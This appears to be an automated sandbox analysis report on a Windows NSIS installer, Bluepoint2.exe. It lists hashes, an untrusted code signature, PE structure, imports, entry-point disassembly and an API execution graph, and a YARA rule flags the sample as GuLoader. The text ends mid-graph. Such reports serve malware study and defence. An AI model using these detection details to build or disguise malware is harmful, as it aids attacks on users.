                                                  SHA1:D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E
                                                  SHA-256:8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8
                                                  SHA-512:531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: Metadefender, Detection: 0%, Browse
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Joe Sandbox View:
                                                  • Filename: SecuriteInfo.com.W32.AIDetect.malware2.8516.exe, Detection: malicious, Browse
                                                  • Filename: SecuriteInfo.com.W32.AIDetect.malware2.8516.exe, Detection: malicious, Browse
                                                  • Filename: SD 2477.exe, Detection: malicious, Browse
                                                  • Filename: SD 2477.exe, Detection: malicious, Browse
                                                  • Filename: aSsc9zh1ex.exe, Detection: malicious, Browse
                                                  • Filename: aSsc9zh1ex.exe, Detection: malicious, Browse
                                                  • Filename: TransportLabel_6170453602.xlsx, Detection: malicious, Browse
                                                  • Filename: PO#4200000866.exe, Detection: malicious, Browse
                                                  • Filename: PO#4200000866.exe, Detection: malicious, Browse
                                                  • Filename: Transferencia.exe, Detection: malicious, Browse
                                                  • Filename: Transferencia.exe, Detection: malicious, Browse
                                                  • Filename: EPAYMENT.exe, Detection: malicious, Browse
                                                  • Filename: EPAYMENT.exe, Detection: malicious, Browse
                                                  • Filename: xcVh7ZmH4Y.exe, Detection: malicious, Browse
                                                  • Filename: OR17233976_00019489_20170619154218.xlsx, Detection: malicious, Browse
                                                  • Filename: xcVh7ZmH4Y.exe, Detection: malicious, Browse
                                                  • Filename: 3GJ6S3Kwnb.exe, Detection: malicious, Browse
                                                  • Filename: 3GJ6S3Kwnb.exe, Detection: malicious, Browse
                                                  • Filename: file.exe, Detection: malicious, Browse
                                                  • Filename: file.exe, Detection: malicious, Browse
                                                  Reputation:moderate, very likely benign file
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."...........*.......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................
                                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                  Entropy (8bit):7.834012132829794
                                                  TrID:
                                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                                  • DOS Executable Generic (2002/1) 0.02%
                                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                  File name:Bluepoint2.exe
                                                  File size:184424
                                                  MD5:c792c744dde586c896d6ca8cceb0e04a
                                                  SHA1:66273efb747ba478fc7c2122f647c0a01d16c4ca
                                                  SHA256:4385dcd25c41dcc70603b48daa969cb455c6fd605f7b3a7e6088557b9ab4964a
                                                  SHA512:fefb74d8bcdeb5dee67a8fc3473169e2738d1edbdd876aa07b2ef6645d555de9c2b83c39aba66ed84a44159caf30a089226cabaea083e37cafce446ece1cc1f5
                                                  SSDEEP:3072:RfY/TU9fE9PEtu4bDDq6VG3dGmKdKFXKX+d2Q1Wi+hZUKqSccz5xqBES1CXF6DYT:9Ya6wC6cdOEcm2Q1ahZUKQcFxw/1CXFF
                                                  TLSH:6C04020827B0C453FA6707F24E78877A7FA5B91158E5924F13A01F85BD72B439A0E35E
                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf.*_9..Pf..Pg.LPf.*_;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*.....
                                                  Icon Hash:b2a88c96b2ca6a72
                                                  Entrypoint:0x403640
                                                  Entrypoint Section:.text
                                                  Digitally signed:true
                                                  Imagebase:0x400000
                                                  Subsystem:windows gui
                                                  Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
                                                  DLL Characteristics:NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                                                  Time Stamp:0x614F9B1F [Sat Sep 25 21:56:47 2021 UTC]
                                                  TLS Callbacks:
                                                  CLR (.Net) Version:
                                                  OS Version Major:4
                                                  OS Version Minor:0
                                                  File Version Major:4
                                                  File Version Minor:0
                                                  Subsystem Version Major:4
                                                  Subsystem Version Minor:0
                                                  Import Hash:61259b55b8912888e90f516ca08dc514
                                                  Signature Valid:false
                                                  Signature Issuer:CN="ejerstruktur ZAMBISKE Repetr ", O=STEFANIES, L=Baleix, S=Nouvelle-Aquitaine, C=FR
                                                  Signature Validation Error:A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
                                                  Error Number:-2146762487
                                                  Not Before, Not After
                                                  • 5/10/2022 6:17:21 AM 5/10/2023 6:17:21 AM
                                                  Subject Chain
                                                  • CN="ejerstruktur ZAMBISKE Repetr ", O=STEFANIES, L=Baleix, S=Nouvelle-Aquitaine, C=FR
                                                  Version:3
                                                  Thumbprint MD5:ECE32C08ED1569491D6E0771D9F12FDD
                                                  Thumbprint SHA-1:A0A9159D8C4470704C1D11504D0D6AC6D8000739
                                                  Thumbprint SHA-256:49F7287CD8102A1348A82B7E5F178A55D3F409C7C7AB7E438905EBB0167CABE9
                                                  Serial:8C8E40F414473723
                                                  Instruction
                                                  push ebp
                                                  mov ebp, esp
                                                  sub esp, 000003F4h
                                                  push ebx
                                                  push esi
                                                  push edi
                                                  push 00000020h
                                                  pop edi
                                                  xor ebx, ebx
                                                  push 00008001h
                                                  mov dword ptr [ebp-14h], ebx
                                                  mov dword ptr [ebp-04h], 0040A230h
                                                  mov dword ptr [ebp-10h], ebx
                                                  call dword ptr [004080C8h]
                                                  mov esi, dword ptr [004080CCh]
                                                  lea eax, dword ptr [ebp-00000140h]
                                                  push eax
                                                  mov dword ptr [ebp-0000012Ch], ebx
                                                  mov dword ptr [ebp-2Ch], ebx
                                                  mov dword ptr [ebp-28h], ebx
                                                  mov dword ptr [ebp-00000140h], 0000011Ch
                                                  call esi
                                                  test eax, eax
                                                  jne 00007F62B8BDE49Ah
                                                  lea eax, dword ptr [ebp-00000140h]
                                                  mov dword ptr [ebp-00000140h], 00000114h
                                                  push eax
                                                  call esi
                                                  mov ax, word ptr [ebp-0000012Ch]
                                                  mov ecx, dword ptr [ebp-00000112h]
                                                  sub ax, 00000053h
                                                  add ecx, FFFFFFD0h
                                                  neg ax
                                                  sbb eax, eax
                                                  mov byte ptr [ebp-26h], 00000004h
                                                  not eax
                                                  and eax, ecx
                                                  mov word ptr [ebp-2Ch], ax
                                                  cmp dword ptr [ebp-0000013Ch], 0Ah
                                                  jnc 00007F62B8BDE46Ah
                                                  and word ptr [ebp-00000132h], 0000h
                                                  mov eax, dword ptr [ebp-00000134h]
                                                  movzx ecx, byte ptr [ebp-00000138h]
                                                  mov dword ptr [0042A318h], eax
                                                  xor eax, eax
                                                  mov ah, byte ptr [ebp-0000013Ch]
                                                  movzx eax, ax
                                                  or eax, ecx
                                                  xor ecx, ecx
                                                  mov ch, byte ptr [ebp-2Ch]
                                                  movzx ecx, cx
                                                  shl eax, 10h
                                                  or eax, ecx
                                                  Programming Language:
                                                  • [EXP] VC++ 6.0 SP5 build 8804
                                                  NameVirtual AddressVirtual Size Is in Section
                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x85040xa0.rdata
                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x430000x11d0.rsrc
                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x2bbb80x14b0.ndata
                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_IAT0x80000x2b0.rdata
                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0
                                                  NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                  .text0x10000x66760x6800False0.656813401442data6.41745998719IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                  .rdata0x80000x139a0x1400False0.4498046875data5.14106681717IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                  .data0xa0000x203780x600False0.509765625data4.11058212765IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                                                  .ndata0x2b0000x180000x0False0empty0.0IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                  .rsrc0x430000x11d00x1200False0.368489583333data4.47140482911IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                  NameRVASizeTypeLanguageCountry
                                                  RT_BITMAP0x432680x368dataEnglishUnited States
                                                  RT_ICON0x435d00x2e8dataEnglishUnited States
                                                  RT_DIALOG0x438b80xb8dataEnglishUnited States
                                                  RT_DIALOG0x439700x144dataEnglishUnited States
                                                  RT_DIALOG0x43ab80x13cdataEnglishUnited States
                                                  RT_DIALOG0x43bf80x100dataEnglishUnited States
                                                  RT_DIALOG0x43cf80x11cdataEnglishUnited States
                                                  RT_DIALOG0x43e180x60dataEnglishUnited States
                                                  RT_GROUP_ICON0x43e780x14dataEnglishUnited States
                                                  RT_MANIFEST0x43e900x33eXML 1.0 document, ASCII text, with very long lines, with no line terminatorsEnglishUnited States
                                                  DLLImport
                                                  ADVAPI32.dllRegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW
                                                  SHELL32.dllSHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW
                                                  ole32.dllOleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree
                                                  COMCTL32.dllImageList_Create, ImageList_Destroy, ImageList_AddMasked
                                                  USER32.dllGetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu
                                                  GDI32.dllSetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject
                                                  KERNEL32.dllGetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW
                                                  Language of compilation systemCountry where language is spokenMap
                                                  EnglishUnited States
                                                  No network behavior found

                                                  Click to jump to process

                                                  Click to jump to process

                                                  Target ID:0
                                                  Start time:19:30:12
                                                  Start date:12/05/2022
                                                  Path:C:\Users\user\Desktop\Bluepoint2.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:"C:\Users\user\Desktop\Bluepoint2.exe"
                                                  Imagebase:0x400000
                                                  File size:184424 bytes
                                                  MD5 hash:C792C744DDE586C896D6CA8CCEB0E04A
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Yara matches:
                                                  • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.881039199.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  Reputation:low

                                                  Reset < >

                                                    Execution Graph

                                                    Execution Coverage:16.1%
                                                    Dynamic/Decrypted Code Coverage:0%
                                                    Signature Coverage:16%
                                                    Total number of Nodes:1598
                                                    Total number of Limit Nodes:43
                                                    execution_graph 4232 403640 SetErrorMode GetVersionExW 4233 403692 GetVersionExW 4232->4233 4234 4036ca 4232->4234 4233->4234 4235 403723 4234->4235 4236 406a35 5 API calls 4234->4236 4323 4069c5 GetSystemDirectoryW 4235->4323 4236->4235 4238 403739 lstrlenA 4238->4235 4239 403749 4238->4239 4326 406a35 GetModuleHandleA 4239->4326 4242 406a35 5 API calls 4243 403757 4242->4243 4244 406a35 5 API calls 4243->4244 4245 403763 #17 OleInitialize SHGetFileInfoW 4244->4245 4332 406668 lstrcpynW 4245->4332 4248 4037b0 GetCommandLineW 4333 406668 lstrcpynW 4248->4333 4250 4037c2 4334 405f64 4250->4334 4253 4038f7 4254 40390b GetTempPathW 4253->4254 4338 40360f 4254->4338 4256 403923 4258 403927 GetWindowsDirectoryW lstrcatW 4256->4258 4259 40397d DeleteFileW 4256->4259 4257 405f64 CharNextW 4261 4037f9 4257->4261 4262 40360f 12 API calls 4258->4262 4348 4030d0 GetTickCount GetModuleFileNameW 4259->4348 4261->4253 4261->4257 4266 4038f9 4261->4266 4264 403943 4262->4264 4263 403990 4267 403a54 4263->4267 4269 403a45 4263->4269 4273 405f64 CharNextW 4263->4273 4264->4259 4265 403947 GetTempPathW lstrcatW SetEnvironmentVariableW SetEnvironmentVariableW 4264->4265 4268 40360f 12 API calls 4265->4268 4434 406668 lstrcpynW 4266->4434 4488 403c25 4267->4488 4272 403975 4268->4272 4378 403d17 4269->4378 4272->4259 4272->4267 4290 4039b2 4273->4290 4276 403b91 4279 403b99 GetCurrentProcess OpenProcessToken 4276->4279 4280 403c0f ExitProcess 4276->4280 4277 403b7c 4497 405cc8 4277->4497 4284 403bb0 LookupPrivilegeValueW AdjustTokenPrivileges 4279->4284 4285 403bdf 4279->4285 4281 403a1b 4435 40603f 4281->4435 4282 403a5c 4451 405c33 4282->4451 4284->4285 4288 406a35 5 API calls 4285->4288 4292 403be6 4288->4292 4290->4281 4290->4282 4294 403bfb ExitWindowsEx 4292->4294 4299 403c08 4292->4299 4294->4280 4294->4299 4295 403a72 lstrcatW 4296 403a7d lstrcatW lstrcmpiW 4295->4296 4296->4267 4297 403a9d 4296->4297 4300 403aa2 4297->4300 4301 403aa9 4297->4301 4501 40140b 4299->4501 4454 405b99 CreateDirectoryW 4300->4454 4459 405c16 CreateDirectoryW 4301->4459 4302 403a3a 4450 406668 lstrcpynW 4302->4450 4308 403aae SetCurrentDirectoryW 4309 403ac0 4308->4309 4310 403acb 4308->4310 4462 406668 lstrcpynW 4309->4462 4463 406668 lstrcpynW 4310->4463 4315 403b19 CopyFileW 4320 403ad8 4315->4320 4316 403b63 4318 406428 36 API calls 4316->4318 4318->4267 4319 4066a5 17 API calls 4319->4320 4320->4316 4320->4319 4322 403b4d CloseHandle 4320->4322 4464 4066a5 4320->4464 4481 406428 MoveFileExW 4320->4481 4485 405c4b CreateProcessW 4320->4485 4322->4320 4324 4069e7 wsprintfW LoadLibraryExW 4323->4324 4324->4238 4327 406a51 4326->4327 4328 406a5b GetProcAddress 4326->4328 4329 4069c5 3 API calls 4327->4329 4330 403750 4328->4330 4331 406a57 4329->4331 4330->4242 4331->4328 4331->4330 4332->4248 4333->4250 4335 405f6a 4334->4335 4336 4037e8 CharNextW 4335->4336 4337 405f71 CharNextW 4335->4337 4336->4261 4337->4335 4504 4068ef 4338->4504 4340 403625 4340->4256 4341 40361b 4341->4340 4513 405f37 lstrlenW CharPrevW 4341->4513 4344 405c16 2 API calls 4345 403633 4344->4345 4516 406187 4345->4516 4520 406158 GetFileAttributesW CreateFileW 4348->4520 4350 403113 4377 403120 4350->4377 4521 406668 lstrcpynW 4350->4521 4352 403136 4522 405f83 lstrlenW 4352->4522 4356 403147 GetFileSize 4357 403241 4356->4357 4376 40315e 4356->4376 4527 40302e 4357->4527 4361 403286 GlobalAlloc 4363 40329d 4361->4363 4362 4032de 4366 40302e 32 API calls 4362->4366 4368 406187 2 API calls 4363->4368 4365 403267 4367 4035e2 ReadFile 4365->4367 4366->4377 4369 403272 4367->4369 4371 4032ae CreateFileW 4368->4371 4369->4361 4369->4377 4370 40302e 32 API calls 4370->4376 4372 4032e8 4371->4372 4371->4377 4542 4035f8 SetFilePointer 4372->4542 4374 4032f6 4543 403371 4374->4543 4376->4357 4376->4362 4376->4370 4376->4377 4558 4035e2 4376->4558 4377->4263 4379 406a35 5 API calls 4378->4379 4380 403d2b 4379->4380 4381 403d31 GetUserDefaultUILanguage 4380->4381 4382 403d43 4380->4382 4605 4065af wsprintfW 4381->4605 4614 406536 4382->4614 4385 403d41 4606 403fed 4385->4606 4387 403d92 lstrcatW 4387->4385 4388 406536 3 API calls 4388->4387 4391 40603f 18 API calls 4392 403dc4 4391->4392 4393 403e58 4392->4393 4395 406536 3 API calls 4392->4395 4394 40603f 18 API calls 4393->4394 4396 403e5e 4394->4396 4397 403df6 4395->4397 4398 403e6e LoadImageW 4396->4398 4399 4066a5 17 API calls 4396->4399 4397->4393 4402 403e17 lstrlenW 4397->4402 4406 405f64 CharNextW 4397->4406 4400 403f14 4398->4400 4401 403e95 RegisterClassW 4398->4401 4399->4398 4405 40140b 2 API calls 4400->4405 4403 403f1e 4401->4403 4404 403ecb SystemParametersInfoW CreateWindowExW 4401->4404 4407 403e25 lstrcmpiW 4402->4407 4408 403e4b 4402->4408 4403->4267 4404->4400 4409 403f1a 4405->4409 4411 403e14 4406->4411 4407->4408 4412 403e35 GetFileAttributesW 4407->4412 4410 405f37 3 API calls 4408->4410 4409->4403 4413 403fed 18 API calls 4409->4413 4414 403e51 4410->4414 4411->4402 4415 403e41 4412->4415 4416 403f2b 4413->4416 4619 406668 lstrcpynW 4414->4619 4415->4408 4418 405f83 2 API calls 4415->4418 4419 403f37 ShowWindow 4416->4419 4420 403fba 4416->4420 4418->4408 4422 4069c5 3 API calls 4419->4422 4620 40579d OleInitialize 4420->4620 4424 403f4f 4422->4424 4423 403fc0 4425 403fc4 4423->4425 4426 403fdc 4423->4426 4427 403f5d GetClassInfoW 4424->4427 4429 4069c5 3 API calls 4424->4429 4425->4403 4432 40140b 2 API calls 4425->4432 4428 40140b 2 API calls 4426->4428 4430 403f71 GetClassInfoW RegisterClassW 4427->4430 4431 403f87 DialogBoxParamW 4427->4431 4428->4403 4429->4427 4430->4431 4433 40140b 2 API calls 4431->4433 4432->4403 4433->4403 4434->4254 4642 406668 lstrcpynW 4435->4642 4437 406050 4643 405fe2 CharNextW CharNextW 4437->4643 4440 403a27 4440->4267 4449 406668 lstrcpynW 4440->4449 4441 4068ef 5 API calls 4447 406066 4441->4447 4442 406097 lstrlenW 4443 4060a2 4442->4443 4442->4447 4444 405f37 3 API calls 4443->4444 4446 4060a7 GetFileAttributesW 4444->4446 4446->4440 4447->4440 4447->4442 4448 405f83 2 API calls 4447->4448 4649 40699e FindFirstFileW 4447->4649 4448->4442 4449->4302 4450->4269 4452 406a35 5 API calls 4451->4452 4453 403a61 lstrcatW 4452->4453 4453->4295 4453->4296 4455 403aa7 4454->4455 4456 405bea GetLastError 4454->4456 4455->4308 4456->4455 4457 405bf9 SetFileSecurityW 4456->4457 4457->4455 4458 405c0f GetLastError 4457->4458 4458->4455 4460 405c26 4459->4460 4461 405c2a GetLastError 4459->4461 4460->4308 4461->4460 4462->4310 4463->4320 4469 4066b2 4464->4469 4465 4068d5 4466 403b0d DeleteFileW 4465->4466 4654 406668 lstrcpynW 4465->4654 4466->4315 4466->4320 4468 4068a3 lstrlenW 4468->4469 4469->4465 4469->4468 4471 406536 3 API calls 4469->4471 4472 4066a5 10 API calls 4469->4472 4473 4067ba GetSystemDirectoryW 4469->4473 4475 4067cd GetWindowsDirectoryW 4469->4475 4476 4066a5 10 API calls 4469->4476 4477 406844 lstrcatW 4469->4477 4478 4068ef 5 API calls 4469->4478 4479 4067fc SHGetSpecialFolderLocation 4469->4479 4652 4065af wsprintfW 4469->4652 4653 406668 lstrcpynW 4469->4653 4471->4469 4472->4468 4473->4469 4475->4469 4476->4469 4477->4469 4478->4469 4479->4469 4480 406814 SHGetPathFromIDListW CoTaskMemFree 4479->4480 4480->4469 4482 406449 4481->4482 4483 40643c 4481->4483 4482->4320 4655 4062ae 4483->4655 4486 405c8a 4485->4486 4487 405c7e CloseHandle 4485->4487 4486->4320 4487->4486 4489 403c40 4488->4489 4490 403c36 CloseHandle 4488->4490 4491 403c54 4489->4491 4492 403c4a CloseHandle 4489->4492 4490->4489 4689 403c82 4491->4689 4492->4491 4498 405cdd 4497->4498 4499 403b89 ExitProcess 4498->4499 4500 405cf1 MessageBoxIndirectW 4498->4500 4500->4499 4502 401389 2 API calls 4501->4502 4503 401420 4502->4503 4503->4280 4510 4068fc 4504->4510 4505 406972 4506 406977 CharPrevW 4505->4506 4508 406998 4505->4508 4506->4505 4507 406965 CharNextW 4507->4505 4507->4510 4508->4341 4509 405f64 CharNextW 4509->4510 4510->4505 4510->4507 4510->4509 4511 406951 CharNextW 4510->4511 4512 406960 CharNextW 4510->4512 4511->4510 4512->4507 4514 405f53 lstrcatW 4513->4514 4515 40362d 4513->4515 4514->4515 4515->4344 4517 406194 GetTickCount GetTempFileNameW 4516->4517 4518 40363e 4517->4518 4519 4061ca 4517->4519 4518->4256 4519->4517 4519->4518 4520->4350 4521->4352 4523 405f91 4522->4523 4524 40313c 4523->4524 4525 405f97 CharPrevW 4523->4525 4526 406668 lstrcpynW 4524->4526 4525->4523 4525->4524 4526->4356 4528 403057 4527->4528 4529 40303f 4527->4529 4530 403067 GetTickCount 4528->4530 4531 40305f 4528->4531 4532 403048 DestroyWindow 4529->4532 4533 40304f 4529->4533 4530->4533 4535 403075 4530->4535 4562 406a71 4531->4562 4532->4533 4533->4361 4533->4377 4561 4035f8 SetFilePointer 4533->4561 4536 4030aa CreateDialogParamW ShowWindow 4535->4536 4537 40307d 4535->4537 4536->4533 4537->4533 4566 403012 4537->4566 4539 40308b wsprintfW 4569 4056ca 4539->4569 4542->4374 4544 403380 SetFilePointer 4543->4544 4545 40339c 4543->4545 4544->4545 4580 403479 GetTickCount 4545->4580 4550 403479 42 API calls 4551 4033d3 4550->4551 4552 40343f ReadFile 4551->4552 4554 403439 4551->4554 4556 4033e2 4551->4556 4552->4554 4554->4377 4555 4061db ReadFile 4555->4556 4556->4554 4556->4555 4595 40620a WriteFile 4556->4595 4559 4061db ReadFile 4558->4559 4560 4035f5 4559->4560 4560->4376 4561->4365 4563 406a8e PeekMessageW 4562->4563 4564 406a84 DispatchMessageW 4563->4564 4565 406a9e 4563->4565 4564->4563 4565->4533 4567 403021 4566->4567 4568 403023 MulDiv 4566->4568 4567->4568 4568->4539 4570 4056e5 4569->4570 4579 4030a8 4569->4579 4571 405701 lstrlenW 4570->4571 4574 4066a5 17 API calls 4570->4574 4572 40572a 4571->4572 4573 40570f lstrlenW 4571->4573 4576 405730 SetWindowTextW 4572->4576 4577 40573d 4572->4577 4575 405721 lstrcatW 4573->4575 4573->4579 4574->4571 4575->4572 4576->4577 4578 405743 SendMessageW SendMessageW SendMessageW 4577->4578 4577->4579 4578->4579 4579->4533 4581 4035d1 4580->4581 4582 4034a7 4580->4582 4584 40302e 32 API calls 4581->4584 4597 4035f8 SetFilePointer 4582->4597 4585 4033a3 4584->4585 4585->4554 4593 4061db ReadFile 4585->4593 4586 4034b2 SetFilePointer 4591 4034d7 4586->4591 4587 4035e2 ReadFile 4587->4591 4589 40302e 32 API calls 4589->4591 4590 40620a WriteFile 4590->4591 4591->4585 4591->4587 4591->4589 4591->4590 4592 4035b2 SetFilePointer 4591->4592 4598 406bb0 4591->4598 4592->4581 4594 4033bc 4593->4594 4594->4550 4594->4554 4596 406228 4595->4596 4596->4556 4597->4586 4599 406bd5 4598->4599 4600 406bdd 4598->4600 4599->4591 4600->4599 4601 406c64 GlobalFree 4600->4601 4602 406c6d GlobalAlloc 4600->4602 4603 406ce4 GlobalAlloc 4600->4603 4604 406cdb GlobalFree 4600->4604 4601->4602 4602->4599 4602->4600 4603->4599 4603->4600 4604->4603 4605->4385 4607 404001 4606->4607 4627 4065af wsprintfW 4607->4627 4609 404072 4628 4040a6 4609->4628 4611 403da2 4611->4391 4612 404077 4612->4611 4613 4066a5 17 API calls 4612->4613 4613->4612 4631 4064d5 4614->4631 4617 403d73 4617->4387 4617->4388 4618 40656a RegQueryValueExW RegCloseKey 4618->4617 4619->4393 4635 404610 4620->4635 4622 4057e7 4623 404610 SendMessageW 4622->4623 4625 4057f9 OleUninitialize 4623->4625 4624 4057c0 4624->4622 4638 401389 4624->4638 4625->4423 4627->4609 4629 4066a5 17 API calls 4628->4629 4630 4040b4 SetWindowTextW 4629->4630 4630->4612 4632 4064e4 4631->4632 4633 4064e8 4632->4633 4634 4064ed RegOpenKeyExW 4632->4634 4633->4617 4633->4618 4634->4633 4636 404628 4635->4636 4637 404619 SendMessageW 4635->4637 4636->4624 4637->4636 4640 401390 4638->4640 4639 4013fe 4639->4624 4640->4639 4641 4013cb MulDiv SendMessageW 4640->4641 4641->4640 4642->4437 4644 405fff 4643->4644 4648 406011 4643->4648 4645 40600c CharNextW 4644->4645 4644->4648 4646 406035 4645->4646 4646->4440 4646->4441 4647 405f64 CharNextW 4647->4648 4648->4646 4648->4647 4650 4069b4 FindClose 4649->4650 4651 4069bf 4649->4651 4650->4651 4651->4447 4652->4469 4653->4469 4654->4466 4656 406304 GetShortPathNameW 4655->4656 4657 4062de 4655->4657 4659 406423 4656->4659 4660 406319 4656->4660 4682 406158 GetFileAttributesW CreateFileW 4657->4682 4659->4482 4660->4659 4662 406321 wsprintfA 4660->4662 4661 4062e8 CloseHandle GetShortPathNameW 4661->4659 4663 4062fc 4661->4663 4664 4066a5 17 API calls 4662->4664 4663->4656 4663->4659 4665 406349 4664->4665 4683 406158 GetFileAttributesW CreateFileW 4665->4683 4667 406356 4667->4659 4668 406365 GetFileSize GlobalAlloc 4667->4668 4669 406387 4668->4669 4670 40641c CloseHandle 4668->4670 4671 4061db ReadFile 4669->4671 4670->4659 4672 40638f 4671->4672 4672->4670 4684 4060bd lstrlenA 4672->4684 4675 4063a6 lstrcpyA 4678 4063c8 4675->4678 4676 4063ba 4677 4060bd 4 API calls 4676->4677 4677->4678 4679 4063ff SetFilePointer 4678->4679 4680 40620a WriteFile 4679->4680 4681 406415 GlobalFree 4680->4681 4681->4670 4682->4661 4683->4667 4685 4060fe lstrlenA 4684->4685 4686 406106 4685->4686 4687 4060d7 lstrcmpiA 4685->4687 4686->4675 4686->4676 4687->4686 4688 4060f5 CharNextA 4687->4688 4688->4685 4690 403c90 4689->4690 4691 403c59 4690->4691 4692 403c95 FreeLibrary GlobalFree 4690->4692 4693 405d74 4691->4693 4692->4691 4692->4692 4694 40603f 18 API calls 4693->4694 4695 405d94 4694->4695 4696 405db3 4695->4696 4697 405d9c DeleteFileW 4695->4697 4699 405ede 4696->4699 4733 406668 lstrcpynW 4696->4733 4698 403b71 OleUninitialize 4697->4698 4698->4276 4698->4277 4699->4698 4704 40699e 2 API calls 4699->4704 4701 405dd9 4702 405dec 4701->4702 4703 405ddf lstrcatW 4701->4703 4706 